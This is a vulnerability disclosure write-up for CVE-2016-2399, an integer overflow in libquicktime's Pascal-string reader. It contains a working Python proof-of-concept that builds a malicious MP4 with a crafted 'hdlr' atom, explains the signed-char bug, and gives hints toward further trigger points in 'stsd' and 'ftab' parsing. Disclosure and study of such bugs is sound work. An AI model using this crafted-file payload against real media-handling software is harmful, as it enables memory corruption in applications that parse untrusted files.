My Last bug hunting session (for fun and no-profit) has been dedicated to libquicktime
Product Page: http://libquicktime.sourceforge.net/
Description: ‘hdlr’, ‘stsd’, ‘ftab’ MP4 Atoms Integer Overflow
Affected products: All products using libquicktime version <= 1.2.4
#!/usr/bin/env python # # Author: Marco Romano - @nemux_ http://www.nemux.org # libquicktime 1.2.4 Integer Overflow # # Product Page: http://libquicktime.sourceforge.net/ # Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow # Affected products: All products using libquicktime version <= 1.2.4 # # CVE-ID: CVE-2016-2399 # ######## import sys import struct import binascii """ There needs to be an mp4 file with these nested atoms to trigger the bug: moov -> trak -> mdia -> hdlr """ hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1" "6D6F6F76" #### moov atom "0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000" "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000" "00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175" "7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000" "0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000" "00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000" "000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF" "616C626D000000000000FEFF0000010000000E79727263000000000000000002E4" "7472616B" #### trak atom "0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000" "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040" "6D646961" #### mdia atom "000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000" "4E" #### hdlr atom length "68646C72" #### hdlr atom "0000000000" "4141414141414141" #### our airstrip :) "0000000000000000000000" "EC" #### 236 > 127 <-- overflow here and a change in signedness too "616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010") hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4)) def createPoC(): try: with open("./nemux.mp4","wb") as output: output.write(hax0r_mp4) print "[*] The PoC is done!" except Exception,e: print str(e) print "[*] mmmm!" def usage(): print "\nUsage? Run it -> " + sys.argv print "this poc creates an mp4 file named nemux.mp4" print "--------------------------------------------" print "This dummy help? " + sys.argv + " help\n" sys.exit() if __name__ == "__main__": try: if len(sys.argv) == 2: usage() else: print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n" print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n"; createPoC(); except Exception,e: print str(e) print "Ok... Something went wrong..." sys.exit()
- 07 Feb 2016 Bug discovered
- 17 Feb 2016 Mitre.org contacted
- 17 Feb 2016 Disclosed to the project's maintainer
- 23 Feb 2016 No response from the maintainer
- 23 Feb 2016 Publicly disclosed
Let me make a little introduction... i'm sure this is not the only issue of this library. I suppose libquicktime needs a refactoring process (IMHO)
If you are a l33t hax0r you don't need to read the rest :)
Reading the code
When i was reading the library code, in util.c this "interesting" line caught my eye:
char len = quicktime_read_char(file);
Ok but... what's wrong?
Signed or unsigned, that is the question: Negative numbers exist and we need to store them :) There is a mechanism to represent them using the binary code and it's by using the most significant bit (MSB) of a variable to determine the sign: if the MSB is set to 1, the variable is interpreted as negative; if it is set to 0, the variable is positive.
Now go back to the lines of code
void quicktime_read_pascal(quicktime_t *file, char *data)
char len = quicktime_read_char(file);
quicktime_read_data(file, (uint8_t*)data, len);
data[(int)len] = 0;
int quicktime_read_char(quicktime_t *file)
quicktime_read_data(file, (uint8_t*)(&output), 1);
They are self-explanatory, right?
But take a look to the casting. The output value will be an unsigned int, but: is "char len" signed or unsigned?
(i'm going to reveal the murderer...)
The answer is in the "limits.h" header
The standard defines three types: char, signed char and unsigned char.
look at CHAR_MIN and CHAR_MAX in limits.h
/* Minimum and maximum values a 'signed char' can hold. */
# define SCHAR_MIN (-128)
# define SCHAR_MAX 127
/* Maximum value an 'unsigned char' can hold. (Minimum is 0.) */
# define UCHAR_MAX 255
/* Minimum and maximum values a 'char' can hold. */
# ifdef __CHAR_UNSIGNED__
# define CHAR_MIN 0
# define CHAR_MAX UCHAR_MAX
# define CHAR_MIN SCHAR_MIN
# define CHAR_MAX SCHAR_MAX
If we define __CHAR_UNSIGNED__ at compile time every char will be treated as unsigned... but we are in the default case where a char is signed, then minimum and maximum values a plain char can hold are: -128 to 127. But quicktime_read_data() stores an unsigned int which can hold an integer value from 0 to 255.
Integer overflow happens when we try to store in the char len a value greater than 127. Since an integer is signed by default, an integer overflow can cause a change in signedness.
When it is incremented, the most significant bit (indicating signedness) is set and the integer is interpreted as being negative. And the trick is done! :)
When a bug finally makes itself known, it can be exhilarating, like you just unlocked something. A grand opportunity waiting to be taken advantage of. (cit.)
In this case i got the "grand opportunity" to learn that in 2016 i can continue to see something what i saw when i was a child at the end of the '90s :)
Let's go trigger the bug!
That's the funniest thing. To trigger the bug there needs to be a way to call quicktime_read_pascal(). I found different ways to do that, here i will use the "hdlr" atom parser. (see hdlr.c)
(QuickTime file format specification? Google is always your best friend...)
we can create an mp4 file with these nested atoms:
moov -> trak -> mdia -> hdlr
'hdlr' atom structure:
in hdlr.c -> quicktime_read_pascal(file, hdlr->component_name);
Note: The quicktime spec uses a Pascal string.
Following the structure above i've created our malicious hdlr atom and that's the hex dump:
Take a look to the last 4 bytes EC 61 61 61. The first byte "EC" is the offset that quicktime_read_pascal() needs in order to get the component name string.
0xEC = 236 (which is > than 127) <-- there's an overflow here and a change in signedness too
If the sign bit is 1, then library will use negative representation of 0xEC: -20
0xEC = 11101100 -> negative 00010011 +1 = 00010100 = 20 dec
now my char len value is -20 and the fread() will read 20 bytes back from the 0xEC byte where it will find my 0x41 padding.
nemux-lab:/home/nemux/libquicktime-1.2.4/utils# ./qtdump nemux.mp4
Write-what-where is satisfied. (..."where" not completely here but that's another story)
Tips for sunday's hax0r:
1. at stsdtable.c:60
2. at ftab.c:67 quicktime_read_pascal() is called more times in a for cycle
End of the disclosure part
Mom i'm an Hacker now!